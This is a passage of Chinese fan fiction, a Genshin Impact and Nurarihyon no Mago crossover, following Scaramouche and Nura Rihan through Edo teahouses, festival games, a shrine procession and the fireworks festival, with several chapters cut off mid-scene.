“捏着。”奴良鲤伴淡淡地吩咐道,他看起来一脸认真,没有半分不满。 散兵狐疑地接过递过来的丝绸缎带,将端点用手指在肩上摁住,一时觉得有哪里不对,但又找不到问题所在。 这得从片刻之前说起。奴良鲤伴兴冲冲地拉着他到自己的屋里,矮桌上放着一封信、一条绕了几圈,用细绳绑了个蝴蝶结捆着的绸带、一把尺子以及空白的纸张和笔墨。 奴良鲤伴拿起信件看了一眼,看见了上面的署名后便先放置了在了一边,并不着急翻阅。他拿起丝绸缎带,朝着身后人挥了挥手道:“快来快来,妈妈刚刚说的你也听到了吧?我来帮你量量。” “喔?这就算表现了,还真是没诚意啊。”嘴里这样说着,他也倒是老实靠近了过来。 “毕竟我可是自己都没量过啊。”奴良鲤伴抽开绳子,故作感叹道。 “这种东西自己量自己的本就不便吧,更别说你这样饱受宠爱的大少爷……嗯?”散兵还没忘一进来时那位姐姐对奴良鲤伴的关爱,更别说璎姬是连自己这种不过是临时过客的人,都会予以照顾的人类了。 不过,大少爷?他意识到了什么,唇角得意地上翘,应允道:“好啊。” 尺子并不长,想要量身长自然就只能利用绸带。到这里自然都是毫无问题的,但……? 手指隔着衣服有规律地轻轻地点在身上,唤起一阵被入侵领地般本能的不适,被折叠捆绑的带子有些不展实属正常,散兵一声不吭地打算忍过去,直到腰间传来的感触令他下意识地想要闪躲。 “喂!你……” 奴良鲤伴抓住他的手腕制止他的动作,无辜地仰起脸看着他,抱怨道:“好不容易走到一半啦,如果数据不准确的话,到时候衣服太长也很不方便吧。” 他提及这两天的经历为自己增加筹码:“毕竟说不准还会发生什么呢,便利性也很重要啊。” 散兵眯起眸子打量着他,大妖怪的人类姿态确实很有欺骗性,仅用绳子束了一下的黑发垂在胸前,堪称温良,尽管在抱怨着,但金色的眼眸里看不出半分恶意或是不满。 是自己的问题吗?不,不管是在稻妻还是至冬都从未发生过这样的事情。对于常年战斗的武人来说身体本能的反应比头脑灵敏可靠得多。散兵很快为自己找到了合适的理由:那些弱小的人类与他而言毫无攻击性,自然没有提防的必要性,正如占据山林的老虎不会在意鸟雀的迁入,但雄狮的窥视也会被视为挑衅。 一如他们之间的关系,对于他来说可能尚且存疑,但是对于奴良鲤伴来说,想要解开红线的束缚还有更直接有效的方式。 自认为找到了原因的散兵伸出手,挑起蹲在旁边的男人的下巴,或许是出于试探,他冷声道:“笨手笨脚的家伙,真是没用。” “啊,毕竟我也不是专业的嘛。”奴良鲤伴看起来的确没有半分不满,甚至就着这个动作歪了歪头,双眼带笑注视着他,或许是金属的颜色多少带着几分无法驱散的冷意,这样他的话语比起来请求更像是命令,“所以,接下来要好好配合喔。” 散兵压下心中的怪异,站直了身体,压好缎带,“怎么还有对客人挑三拣四的,你也没什么专业的可能了。” “是是是。”奴良鲤伴口中应着,重新顺起绸带来。 —— 太阳从天边缓缓露出小半个轮廓,将天空染上一片充满生机的薄红,可惜这生机能赐予植物,却并不能平等地赐予每一位大地的子民。 一位穿着粗布衣踩着草鞋的半大少年抬起头,他的身材瘦弱的可怜,几乎像是骨架上覆盖了一层皮,身高也只到身边来往路人的肩部。但他的皮肤却是不曾劳作的苍白——想也是,这样的身体根本没有能够靠力气吃饭的可能吧? “快到了……”少年望着远处的城池喃喃道,脸上是不正常的红晕,汗水从他的额头流下,“总算还来得及……” 他摸了摸怀中的硬物,太阳光照射在它露出的一角上,反射出刺眼的光。少年歉意的看着扭过头的人,把它往里面塞了塞。 前方是进城的队伍,后天将在隅田川举办花火大会,提前赶到的小商小贩不在少数,还有不少附近城市的游客,此时城门将开,从门口到这里已经排起了漫漫长队。 少年看着前方似乎已经开始放人进城,剔透明澈的眼眸映照着缓缓前行的人 20.悠闲生活 《[原神+滑头鬼]风之归处》全本免费阅读 接下来的时光平淡的令人意外,没再出现什么奇怪的事情。仔细想来倒也正常,毕竟如果最繁华的江户都总是出意外,那其他地方的生活恐怕会太过艰难。 “尝尝这个,根据你昨天说的,茶师进行了一些改动。” 奴良鲤伴用小刀切了一小片茶糕用签子扎起送至身旁人唇边。 从一开始的冷漠拒绝,到如今的自然的张开嘴吃下送过来的食物,散兵并没有用太多时间。他有的时候很难理解,奴良鲤伴到底是怎么保持这种热络的。并非是不想拒绝,而是拒绝无效,反而纠缠下来更是麻烦。 入口的茶糕酥软可口,高质量的抹茶苦味儿浓厚,却又不会过于苦涩,只有淡淡的茶香驻留舌尖。 眉头舒展,紫水晶一样的眼眸熠熠生辉,他们的主人却并不自知,于是淡淡的矜持道:“尚可。” 就算没看到少年的神态,奴良鲤伴也可以通过话语判断这次终于合了少年的心意,毕竟那些锋利如刀的话语,可是把无数软糯的团子斩杀殆尽了。 他也笑着切了一小片送进嘴里,眉头却忍不住一皱,表情凝滞,“好苦。” 奴良鲤伴毫不意外的得到了一声嘲笑:“何必勉强自己,既然出来用餐自然是以你的喜好为主,不必特意照顾我。” “总不能给旁人嘲笑奴良组待客之道的机会嘛。”奴良鲤伴饮了一口茶冲淡了口中的苦涩,他一直更偏爱酒,从没想过有一天茶水也能成为救命之物。 他从旁边摸出打包好的一盒茶点,又忍不住笑起来,打趣道:“让你满意可真不容易,这下不仅茶师能松一口气,他们也不用再吃茶点了。” 他们所在的茶室主人便叫茶师,他就是奴良鲤伴口中爱好风雅的妖怪之一。知道他真实身份的人不多,他也一直以人类的样子示人。他精于茶道,也擅长制作相关的茶点,经营者这家茶室这么多年,再人类中也颇有名望,每年慕名前来的人类客人也不在少数。 ——直到奴良组的新任总大将携友到来。 起初他是有些兴奋的,毕竟妖怪中爱好风雅的终究是少数,至于后来…… 奴良鲤伴回想起茶师麻木的表情,默默的在心底为他叹息。 “呵,你自己想做的,如今倒也要赖到我头上。你的部下现在让我都有些可怜了,要追随你这样任性的领袖,实在不易。” “能让首领自由的肆意妄为,也是部下的责任不是吗。”奴良鲤伴眨了一下右眼,颇为无辜的说道。 “不过如今茶师也可以松口气了,”奴良鲤伴瞄了一眼门口,“这两天因为这个开火的次数,恐怕比他原来半个月还要多。” “哼……狡猾的妖怪。”散兵放低了声音说道。 他们所在的是二楼,座位间有屏风作为遮挡,通过靠楼梯的那一侧可以看到楼下的景象,散兵自然没错过刚刚走上楼梯的身影。 “只怕以后想要他再接待我们就困难了。”奴良鲤伴也没指望散兵的配合,自顾自的叹息道。 “您这可真是说笑了,做生意的哪儿有不招待客人的。”茶师乐呵呵的声音传来,他的外表是一位微胖的中年男子,“老朽还得感谢这位小哥,毕竟能烤出这样酥软的糕点,还得感谢他的思路才是。” “不过老朽也的确有些意外,本以为这位小哥的年龄,应当更喜甜食才对,没想到反倒是弄巧成拙了。” “以貌取人可不像是你这样的人会做的。”散兵冷冷的打量着他,淡淡的嘲讽不加掩饰,“代客人做决定,实非迎客之道。” “迎来送往,窥视人脸色才能更好行事,使得客人称心如意。老朽虽然自诩风雅,但也终究难逃生意人本色啊。”忙碌了两天的茶师不见恼色,反倒是自嘲一笑。 奴良鲤伴的眸底闪过一丝暗芒,这茶师似乎太过注意散兵了,回想起来第一日刚来时也是,一般来说就算是不知道自己身份的,注意力也应该更多的放在做决定的“年长者”身上才对。 他摸了摸下巴,拿起了本来品尝过后就放下的小刀,专心的投喂起来。 当第一片茶点被送至唇边前,散兵侧眸看了他一眼,眼神交流间已然明了对方意思。 几番寒暄下来早已有所不耐,他也乐得借此默不作声。如此看起来便是只有茶师谈性大发,少年在享受茶点的间隙不时以问为答。 “这位小哥看起来颇为面生,老朽在这江户也算是呆了有些时日,倒似乎从未见过小哥。” “这世间人妖数量何其庞大,既然自认风雅,想必不会以为居一城就想认清所有来过江户之人吧?” …… 茶师离开后没多久,这一番下来兴致全无,两人也离开了茶室,走在街上,奴良鲤伴耸了耸肩,“倒真当我不存在。” “怎么,鲤伴大人不过失宠片刻,便要开始郁郁寡欢了吗?”他用与刚刚应付茶师时一模一样的温雅声音,故作担忧的嘲道。 奴良鲤伴看着满含笑意的紫色眼眸,抚摸着胸口,忍不住也用相似的语调道:“因为他更关心的是你吧,我这样的人,难免因此愤愤不平起来。” 散兵瞥了身材高大的青年一眼,姿态做作本应令人头晕目眩,偏生金色的眼眸注视着什么人时便显得格外认真,如此作态倒显得像真的担忧起自己的安危来了,未出口的话语便打了个弯,转而道:“我哪儿知道有空便观察过路人的闲人脑子里在想什么?不过从刚一见面起,他就注视我的更多些,只是你忙于……” 他想到那时奴良鲤伴在和茶师交流的正是自己的喜好,顿了顿略过此事,“……不曾注意罢了。刚刚他看着我的时候,眼神乱瞟明显是在找寻什么。” “至于一个身居异地的流浪者身上有什么好图谋的,”他轻笑了一声,捏住奴良鲤伴系着红线的左腕晃了晃,“别说你没想到喔。怎么,就这么喜欢让我替代你说出想说的话吗?” “左右不过验证猜想,由谁来做述词都没什么差别。”奴良鲤伴见心思被识破,半分不见尴尬,只心想道对方态度的改变果然不是错觉,若是刚刚见时,恐怕连配合自己稳住茶师都不愿——虽然直接动手似乎也不错就是了。 心底里胡思乱想,并不影响他嘴上不停:“茶师的本体在奴良组也是个未解之谜,只是他向来老实,久而久之便无人在意了。” “妖怪追崇风雅,本来不就是异事一件?”散兵似笑非笑的看向奴良鲤伴。 这倒让奴良鲤伴无法反驳了。 于是他轻佻的眨了一下眼睛,“哎呀……毕竟风雅的人更容易受到美人儿们的喜爱嘛。” “可惜,那位茶师并不热衷于逢人便开屏炫耀。” 奴良鲤伴权当他在夸自己羽毛光彩过人,毕竟和来历不明的中年妖怪相比,孰优孰劣再显而易见了,不过,他想到了什么似得忍不住笑道:“可并非逢人喔……那也太奇怪了吧。” …… 江户的夜晚即使是人类的街道也都熙熙攘攘的,两侧不少摊贩更是只有夜间才营业,而妖怪的街道自然更是热闹,两侧的灯火将街道照耀的亮如白昼,叫卖声和喧闹声在深处其中时候并不会觉得嘈杂,只会觉得安宁祥和。 奴良鲤伴喜欢漫步在白天人类的街道,也同样的喜欢夜晚里属于妖怪的世界。他拎着茶点和少年并肩走着,一边注意着两旁还有什么对方可能会感兴趣的。 “咦。”奴良鲤伴突然咋舌,他好像发现了什么,妖怪中人类的存在显眼的要命,但这条街道不应有人类误入才对? 散兵跟着他的视线望过去,只看到了一条黑漆漆的小巷,“怎么了?” 奴良鲤伴摸了摸下巴,他自然看得清黑暗里空无一人,但让他承认那是错觉又有些不甘心,于是只能不确定道:“好像……有人类?” “你既然想,那过去看看,何必问我。”大妖怪脸上的纠结几乎要打结了,有的时候散兵确实觉得对方不像个妖怪,起码易地而处,他才不会管被召唤过来的奴良鲤伴的想法,更别提事事照顾了。 “啊,毕竟我们是‘密不可分’的同伴嘛。”奴良鲤伴习惯性的打趣了一句,便匆匆朝着巷子赶去。江户的妖怪和人类算是在一个城市共生,但以妖怪中脾气古怪易怒的并不少数,若是发生了什么,人类吃亏是肯定的。 ……或许那样反而自在些。散兵压下心中的异样,被拉着朝着巷子走去。 “果然是错觉……吗?”奴良鲤伴狐疑的在巷子里检查了一圈,发现的确没什么新鲜的痕迹才作罢。 “对面是什么地方?”散兵同样不太相信是奴良鲤伴眼花了,他望着墙后流露出的灯火,估计了一番:这里的墙面都不高,即使是人类想要翻墙也不是并无可能。 奴良鲤伴吞吞吐吐,他无意义的比划了一下,“呃……是吉原。” “如果是从那边误入的人类倒也合理,毕竟这种地方算是少见的人类妖怪都会去光顾的了。”他的尴尬只维持了一瞬,便挡住散兵望过去的视线,便故作漫不经心的揽住少年的肩膀,“如果是翻墙逃走的话,那种动静我怎么都不会错过,或许真的是看错了吧。” 虽然对散兵这样说,但走出了巷子,奴良鲤伴还是不死心的去问刚刚有没有其他人走进巷子。而散兵如有所感回头望向巷子,他快速的眨了眨眼,刚刚,好像有什么东西在反光? “唉,醉鬼一个。”奴良鲤伴悻悻的转过身,看到散兵在看的方向,拉起对方的手,“走啦走啦,明天就是花火大会了,比那些好看的多。唔……说起来今早上姐姐说浴衣今天就能做好了,反正也没什么事情要做了,回去看看吧。” —— “呼……”身材单薄的少年落在地上忍不住猛烈的喘气起来,缓了许久,他才扶着墙面站稳了身子,望着灯火阑珊的街道,他低声自语道:“妖怪还真是麻烦。” 他望了望另一方隐隐约约能看到的灯火阑珊的楼阁,叹了口气,“可惜 21.白日 《[原神+滑头鬼]风之归处》全本免费阅读 清晨,天边刚刚泛起鱼肚白,第一缕阳光悄然透过半透明的和纸,金纱一般的光温柔地抚上少年的脸颊。睡梦中少年唇角稍稍上翘,不仅没有半分白日里的攻击性,反而还给人几分脆弱的错觉。 少年的眼睫毛微微颤动,下一刻阳光点亮了紫水晶一样的眼眸。 散兵眨了眨眼,从昏沉的睡意中挣脱出来。他扭头看了看明亮的日光,又转过身看向还沉睡中的大妖怪。 黑发的妖怪阖着眼睛,继承自母亲的那部分让他比奴良滑瓢看起来更柔和俊美些,这种感觉在白日里浪子做派的放荡不羁时并不起眼,只有在此刻安静下来,那些属于璎姬的特质才愈发明显起来。 只是——原本一手拖着胳膊一手拖着脸颊的散兵缓缓靠近注视着那张俊秀的面容——这种警惕心也太差了吧。 眼眸里划过一丝恶趣味,唇线扯动起一个恶劣的弧度,散兵伸出手探向大妖怪的脸颊—— 金眸终于猛地睁开,朦胧的双眼眨了眨,像是没反应过来发生了什么。散兵不为所动地捏住脸颊向外扯动,悠悠道:“你这种性格到底是怎么活到现在的,就靠其他人的溺爱吗?这点时间足够我把刀送进你的心脏。” “唔……”奴良鲤伴意识不清地应了一声,声音含含糊糊的,“你不会,所以没问题。” 手指上使了些力,“喔?你这么信任我,那可是早晚会吃亏的,到时候再后悔可来不及了喔?” “识人不清的后果就自己承担嘛。”奴良鲤伴的声音近乎无赖般地撒娇,但抓着作恶的那只手的动作却很敏捷,“再睡会儿,今晚有的是事情要做呢。” “明明好懂得很……”散兵似乎听到了奴良鲤伴含含糊糊的嘟囔。 “啧。你不是说白天……”他松开手还没说完,猛地一把巨力把他扯倒在榻榻米上,奴良鲤伴搂了搂,像抱着一个玩偶一样将人拥入怀中,下巴还顺势抵在少年的头顶蹭了蹭柔软的发丝。 散兵设想过奴良鲤伴很多种反应,唯独没想过会是这样的发展,短暂慌神之间已然让重新陷入睡眠的大妖怪如愿。身后透过薄衫传过来的属于他人的体温令不习惯与人如此距离的散兵僵硬地怔愣了片刻,被半妖略高于人类的温度的传染至脸颊,他的眼睛惊讶地睁大,不可置信般地眨了眨眼。 下一刻他才如梦初醒般使力脱身,半坐着起来,拎着奴良鲤伴的领口,将他从榻榻米上拎起半截身子,用力地摇晃—— “现在,清醒点了没。” “停停停——”头晕脑胀的奴良鲤伴终于睁开了一只眼,神情是令人可恨的无辜,他一手抵着额头,一手试图去抓散兵的手,打了个哈欠抱怨着,“现在不是还早着呢……” 散兵怒极反笑,一时不知道该从哪儿开始追究起,他缓慢而优雅,语气却像是将每一个字都在牙齿间狠狠咬过,“容我提醒,昨天有人告诉我说,花火大会白天要举行祭典,而称职可靠的江户守护者要前往现场,跟随着花车游行巡视城内。” “相信我们都衷心地希望,他还能记得这件事。” 他扯了扯嘴角,以一个假笑作为终结。 “抱歉抱歉。”奴良鲤伴在冰冷的视线和语气中很快找回了理智,他飞快地扭头看了看天色,“早上的仪式比较多,神轿游行应该会在中午过后,花车游行的话,按照计划会在接近傍晚的时候在城里游行一圈后直接前往隅田川,现在嘛……你早上想吃什么?” “呵。”散兵凉凉地笑了一声,慢条斯理道,“这种转移话题的方式是不是太拙劣了?我想要勉为其难地配合你一下都显得太过违心。” 他这样说着,手上却已经开始换起昨天送来的和服,或许是尺码量的确精准,衣服做得正合身,上身后布料比触摸时更加舒适。 这却是更令人苦恼了。璎姬已经充满关爱的“给予”,但如今的自己显然并没有等价的东西“奉还”。甚至于奴良鲤伴本身的价值交换是否等值都有待商榷,毕竟即使奴良鲤伴克制住了好奇心,自己被召唤至此如今来看也是必然。 “唔……”奴良鲤伴也拿起和服往身上穿,在散兵思索的同时,他也沉吟着寻找到了理由:“毕竟奴良组是阴影中的组织,即使是妖怪也需要睡眠,白天晚些起是再正常不过的了。” “如果我没记错的话,你自称是半妖。” 奴良鲤伴将腰带系好,他正等着对方这么问,于是轻快地应道:“没错,所以我是半妖,在夜幕交接时醒过来,才最合理吧。” “……对你抱有期待,是我异想天开。”散兵实在无法理解为什么奴良鲤伴能一脸得意地说出这种话。 奴良鲤伴不以为意地耸了耸肩,在心底庆幸着逃过一劫,他拉开门,明亮的阳光便射入室内,清新的草木香气随之萦绕。 “这个时间摊贩应该出来了,今天应该会有不少小吃出摊。”奴良鲤伴转过身弯了弯眼眸看向散兵,“这么多天也吃腻了吧,所以也不算转移话题啦。” “食用什么对我来说并无太大区别。”散兵低头整理了一下腰带,漫不经心地说道,“你不觉得今天太安静了么。” “有什么安静的。”奴良鲤伴的疑惑只持续了很短的一部分时间,两人都快走到门口了,一路上也没看到几只奴良组的妖怪,就算是看到的,也是一副匆匆打算出门的样子。 “呵,看来就算是你的部下,也不赞同你的理论呢。”散兵毫不客气地嘲笑。 “喂……!你们今天都这么早吗!”奴良鲤伴震惊地睁大了双眼,没想到被部下背叛之时到来的如此之快。 “今天是祭典啊。”纪乃一边梳着头发一边走过来,“难得这么热闹呢,大家可是期待已久了。” “首无呢。”看到纪乃的时候奴良鲤伴就已经有了推测,但他仍不死心地问道。 “他啊。”纪乃懒洋洋地打了个哈欠,“帮我买早餐去了,毕竟有很多外地游客也来江户了吧, 22.偶遇 《[原神+滑头鬼]风之归处》全本免费阅读 少年像一只小松鼠一样捧着团子,咬下一口后脸上升起幸福的笑意,少年一边小口地吃着东西,一边朝着街道的另一头,也就是两人所在的方向走来。 随着距离的拉进,少年的细节也随之看得清晰了,露出的小臂柴瘦得可怜,配上身上打满了补丁的粗布衣、时不时不得不停下脚步的咳嗽,让他整个人看起来就像是一个颤颤巍巍立在田野里,遭受着狂风摧残的稻草人。即使是吃到可口美食浑身流露出的幸福和喜悦,也点不亮那双暗淡的眼眸,他的皮肤很白,却并非健康的白皙,相反—— 将死之人。两人轻易地判断到。或许是疾病,或许是其他,人类的生命力远不如妖怪,一些小小的波澜都有可能要了他们的命。 本就没有追究钱袋是否是少年自己的想法,如此一来奴良鲤伴更是不会在意了,即使见惯了死亡,在看到对风中残烛般的生命时,也难免有恻隐之心。 不同于奴良鲤伴的同情,散兵看到那个少年时几乎忍不住想要退却,也许是那位贤明的神明在归还自己记忆时做了什么,曾经被压在心底的记忆最近越发鲜明起来。 如果善于医术他自然可上前,故作随意地查看情况,可惜他这样的人最擅长的不过是掠夺生命的行径,如此一来再停留在此地自然是毫无必要了。 于是他只是别看脸,低垂了眼帘,用轻快的声音道:“喂奴良,你不是说了很久祭典的白天会很热闹么,现在也该去消遣消遣了吧。” “这可真不像你会提出的要求。”奴良鲤伴失笑道,他眸底划过一丝思索,但他确实没从那个少年身上看出什么,散兵也不像是见不得这样情景的人。 奴良鲤伴自然地伸手拉住散兵的手,“不过现在的话,唔,孩子们还没起床,摊位应该也不会有太多人,倒的确正合适。” 没被抗拒,看来的确有什么……?奴良鲤伴暗自忖度,又试探性地轻轻捏了一下。 这下他如愿得到了一个冷冷的眼神,“怎么,还没到地方你就已经迫不及待了?倒也别因为竞争者还没起床就得意忘形啊。” 喔呀,看起来的确心情不佳。奴良鲤伴无辜地眨了一下睁开的那只眼睛,顺从道:“我已经在想象大奖的手感了,呵呵,他们想要竞争过我还早呢。” “……幼稚。”感受到手掌又被捏了一下,带着半是无奈半是嘲讽地笑道,“到底在得意什么啊,你这家伙。” …… “噗嗤,真可惜,看来你并不了解你的竞争者。”如果排除掉一开始毫不遮掩地嘲笑的话,散兵的话听起来倒也还算诚心。 可惜并不能。 这条被捞金鱼、射箭、套圈以及一些其他小游戏占据的街道,充斥着孩子喧闹的声音,大人并不如孩子多,结伴而行的身影里也大多拿着小食。以往来说散兵并不喜欢的这样的场景,但现在这种环境倒像是让他有了一席逃避之地。 奴良鲤伴扶额故作苦恼,“失策失策,谁知道现在的小鬼连赖床都不爱啊。” “是啊,喜欢赖床的反而是有些大人呢,真是可怜。”散兵凉凉地接上。 奴良鲤伴不为所动——要是会因为这些害羞也难以当滑头鬼了吧?——观察了一下摊位前人群的多少,意气满满道:“本来还准备把这个当压轴呢,看来不得不提前了。” 比起来捞金鱼需要的耐心,套圈所需要的运气以及两者都需要的对力道的把握,射箭这种带有一定竞技色彩的游戏,相对就不那么受孩子们的喜爱了。摊位前不多的人群里,想要给另一半展示自己的大人倒是更多一下。 是以没排队多久,就到了两人的位置,奴良鲤伴笑了笑,率先拿起弓箭:“我在历代花火大会上,可都是很有经验的。” 奴良鲤伴站得笔直,一脚略上前一些,神态却很轻松,动作如行云流水般自然,显得十分优雅。他举起弓,和服宽宽的袖子滑落,露出线条流畅而有力的手臂,将弓弦拉至脸颊,金眸瞄准箭靶时写满了认真,倒是少见的风采。 从容地松开捏着弓弦的手指,随着一声轻柔的“嗖”,箭矢离弦,至于结果只是从周围人的目光中也可以得知。 不得不承认射箭的姿势很好地展示了一个人的体态,也难怪饱受青年男女的喜爱。 失策,给了他这么一个合适炫耀尾羽的机会。散兵看着围观少女们脸上的神情,一想到奴良鲤伴走过来时候的场景,就忍不住想压低斗笠,但伸手却摸了个空——都怪奴良鲤伴,他说祭典还带着也太奇怪了。 奴良鲤伴没有急于放下弓,而是再次从箭筒中取出第二支箭,自然也就错过了散兵打量他的目光。 毫无疑问,这种站立式的射固定靶,对于大妖怪来说自然是轻轻松松,一轮的三支箭全部命中。 “怎么样?”奴良鲤伴故作得意地问道。 “幼稚。”散兵不屑地说,唇角却是微微翘起,但他仍靠近了些压低了声音道,“真是混蛋啊,明明是妖怪的领袖,却在利用力量来欺负普通人呢。” 奴良鲤伴看着靠近的紫罗兰样的澄澈眼眸,充满笑意的眸中夹杂着几分恰到好处的恶趣味,更令人忍不住注视,而细视之下,仅能见到自己一人的投影无比能带来某些无法言说的错觉。 一向更擅长主动接近,却不带任何狎昵心态的大妖怪注视着握起弓的身影,喃喃道:“诶呀……这可真是……” 毫无疑问,这样简单的无意于孩童玩具的东西,对于他们来说射不中才是足以奇怪的。散兵转过身,稍稍扬了扬下颔,眼眸注视着奴良鲤伴,“不过如此。” 或许是被奴良鲤伴的态度感染,那双明亮的眼眸里也闪烁着几分骄傲。 在对方转身前就收拢了心思的大妖怪过于配合的捧场道:“太棒了,轻松地就和经验丰富的我一样了呢。” “……”他过于配合反而让散兵卡壳了,不如说因为这样简单的东西在公开场合被夸奖倒是让他觉得有几分丢人。 散兵后知后觉:他为什么要因为奴良鲤伴的幼稚行为跟着一起做啊? 看着笑眯眯的 23.神轿游行 《[原神+滑头鬼]风之归处》全本免费阅读 奴良鲤伴仔细观察着身边的人:他眉头紧锁,双眼微微眯起,神情专注而困惑,似乎在努力寻找着熟悉的气味。他的嘴唇轻轻抿着,一副想说什么却又说出前被自己否决的样子。 “怎么了?”奴良鲤伴轻声道,“那个孩子有什么问题吗?” “没有。”散兵脸上完全不是这么写的,但他的确感觉不到什么异样,就好像只是因为近来的事情造成的神经敏感。 他再三打量着那个少年,除了那太过苦瘦的身体和浑浊的双眼,他与平日里见到的这样年龄的孩子并无太大差别,不如说,那种轻易就能满足流露出的幸福模样是同龄人难以拥有的。 “也许只是惊弓之鸟的惶恐吧。”散兵垂眸,以一句轻嘲作为了结束。 奴良鲤伴眸底划过一丝思索,在他的感知里少年无疑是纯粹的人类,不管从哪个角度来看都很难寻找到让散兵产生危机感的理由才对。 不,连这也只是猜测而已,从对方的神情来看并非是危机感才对,他绝非是畏惧挑战之人,更不会作出带着自己离开这种行为。 只是现在也并非合适的时机。 他将这件事情暗自记下,自然地拉起散兵的手,抬头看了看天色,“时间差不多了呢,来,就让你看看江户百鬼夜行之主对这里的掌控力。” 不得不承认,奴良鲤伴确实有令人把注意力集中在他身上的力量,散兵唇角扯了扯,“每当你这么说,我就有预感要在其他人面前成为他人的乐子了。这种时候真想把你甩开,呵,如果是你独自出演,到时候我会忠诚地记录下你的表现的。” “呵呵。”奴良鲤伴笑的眯起眼,阳光下璀璨的金眸和不知道何处传来的反光一样耀眼得令人生厌,悠悠道,“可惜我们暂且谁也离不开谁。好了,走这边走这边,这可是我早就预留好的位置。” 江户城很大,但奴良鲤伴对道路熟稔于心——这倒不奇怪,这种性格如果说不熟悉反而才奇怪——带着他三拐四绕,穿过背阴里的小巷子,途经一道矮墙时借势上了房顶,最终在一座三层高的楼楼顶上。被奴良鲤伴牵着手的力道带着顺入三楼,散兵终于忍不住发问,嫌弃之意溢于言表:“所以,你作为江户百鬼之主的特性就是溜门撬锁?” 奴良鲤伴闻言倒是故作认真地思索了一番,“哎呀呀……真要说的话这应该是滑头鬼的特性吧?不过这栋茶社倒是完全违背了滑头鬼本性的资产呢。” “喔?”散兵闻言打量了一圈室内:一整层的空间内虽然在摆放着好几张矮桌和配套的坐垫,但显然这层并没有接待其他客人的打算,并没有做任何隔断,此刻这里只有他和奴良鲤伴两人,对比起来楼外的喧闹,倒显得静极。 江户的大多都只有两层高,这一栋刚刚在外面时,高出一截远远地就很显眼,原来是奴良组的产业,这样一来倒也不奇怪了。 “其实原本打算去茶师那里啦。”奴良鲤伴拖过来两个坐垫放在围栏前,“神轿游行会从日枝神社出发,茶师那儿虽然只有两层高,人也多些,但是有合心意的东西吃,还是更好些吧。” “……难怪你天天赶着他去做糕点。”散兵很轻易地就想明白了其中关窍,“可惜,他的一番努力谄媚终究是白费了。” “意图太明显了,就算是我想要装作不知道也很难啊。”奴良鲤伴耸了耸肩,“这倒是意外。原本我都准备好被揍一顿了呢。” “只要他动了手,岂非任由你掌控了。”散兵低低地冷笑了一声。 “别说得我好像是刻意的一样啊,这只不过是最坏的打算。”奴良鲤伴为自己伸冤,“就算是爱好风雅的妖怪,也未必脾气就真的那么好,神神秘秘的家伙谁知道会不会成为江户的威胁呢。” “再说了——退一步来说,”他在自己的产业上,生生做出一副委屈的模样,“身为坐不稳位置,刚上位的二代目,对领地内的神秘人士产生好奇之心也不为过吧。” 这幅作态散兵只觉得好笑,他坐下坐垫上,嗤笑了一声,夏日的日光让他忍不住眯起眼眸,漫不经心道:“恐怕那家伙梦里都是我点评茶点的刻薄样子了,你这份好奇还真是沉重。” “谁让花火大会的时间这么近了。”奴良鲤伴见这副样子毫无效果,干脆摊了摊手,“这不是就有意外收获了。” “你这家伙,还真是混蛋的理所当然啊。” “没办法,谁让我是妖怪呢。如果全然拘泥于人类的规则,反倒是会格格不入呢。”奴良鲤伴想了想又补了一句“而且我可是难得给钱了。” 散兵用难以言说的神情看了他一眼。 …… 楼外热闹非凡,家家户户的门口装饰着不同的装饰,颜色艳丽活泼,人群熙熙攘攘,身居三楼之高,又并无他人存在,几乎与外界是截然相反的氛围,便难免有种超脱于凡尘俗世之感了。 有一搭没一搭地闲聊几句,很快,伴随着交织的笛子与太鼓声音,一顶华丽的神轿在众人簇拥下缓缓前行,逐渐出现在视野里。其轿身装饰着鲜艳的绸缎和金色的流苏,这样明丽鲜艳的色泽令人难以忽视它的存在,更别说还有随行的乐器声。 奴良鲤伴带着散兵站起身,半弯下身子趴在围栏上,伸出一根手指指了指神轿的方向,毫无敬意的讲解道:“那上面的木雕可是一只树妖卖出去的,虽然不像人类一样对技艺的领悟那么快,但是妖怪有充足的时间。” “……为什么树妖会去雕刻木头。” 奴良鲤伴歪了歪头,他也不太理解,但树妖这类妖怪,总是不那么喜欢和人交流的,倒也确实没提过原因,他只能给出了自己的猜测:“大概是,取材方便?” 这种带有表演性质的神轿游行行走的速度并不快,出现在视野后又过了一段时间,才在抬轿人整齐划一的步伐下走到了他们所在的楼下。 日枝神社离这里有些距离,又是炎热的盛夏,这些抬轿人的额头上渗出细密的汗珠,但脸上表情确实庄重而虔诚, 24.花火大会 《[原神+滑头鬼]风之归处》全本免费阅读 “或许是……条件不够?”奴良鲤伴思索着提出了猜想,“毕竟严格来说见过的也只有西川吧。而他虽然没有直接使用,但是某种意义上来说也是用着同宗的力量。” 说起来西川小姐送的书也过来了,只是还没功夫翻看。 散兵罕见地在这种时候沉默了一下,也许是移情影响,“我不觉得他像是那样的人。” 奴良鲤伴回忆起了那个少年质朴的笑意,“确实如此……但也许只是持有吧,毕竟西川自己不也不知情么?” 道理是这个道理,但这种局面不由自己掌握的感觉着实不爽。散兵恹恹地点了点头。 花火大会就在傍晚举行,下午的暑气又完全上来了,再加上逛一圈还好,若让他真的游玩一整天……散兵自认还没到这个地步,身边是谁都不行。 两人在茶屋饮茶闲聊到了差不多的时间,回去换了浴衣才朝着隅田川畔走去。他们的时间去得不算早,毕竟这种天气在外面等待实在不是什么愉快的事情。至于抢占最佳的观赏位置……而当你的种族并非人类时候,可选择的观看位置就更多了,也就没必要和人类去抢那些位置了。 正如此刻,奴良鲤伴停在一棵高大的树木前,指了指其中一支粗壮的枝丫,“那里的位置最好,这可是我多年的经验了,至于酒水……唔,首无他们应该知道我会来这儿,大概会给我捎带上一些……吧?” 听着奴良鲤伴极其不确定的语气,散兵不由觉得好笑:“怎么,你平时不应该很喜欢躲着他么?” 这是他从首无每次见到奴良鲤伴时从内到外、不自觉流露出的庆幸和不可置信中察觉到的。 “诶呀……”奴良鲤伴摸了摸鼻子,最近首无的情绪确实平和很多,他也看在眼里,不由得少见地流露出些心虚,“首领的行踪不能总被部下知道,这也足够合情合理吧。” “合理到我在此刻由衷的同情你的下属。”散兵悠悠地说道,话语里是真假难辨的诚恳,“我本以为我曾经的同事便已经是令人想要避而远之的极限了,却没想到你的部下承担着更大的压力。” “这倒是让我对你口中的前同事改观了。”奴良鲤伴小声嘟囔了一句,便逃避似的纵身而起,轻踏在树干上,几个跳跃间便稳稳地站在了树干上。 他一转过头,就看到少年好整以暇的看着他,似笑非笑的唇角带着几丝讽意,慢条斯理中透露着几分优雅:“怎么,话没说完就急着跑路,是被戳中了什么心事吗。” 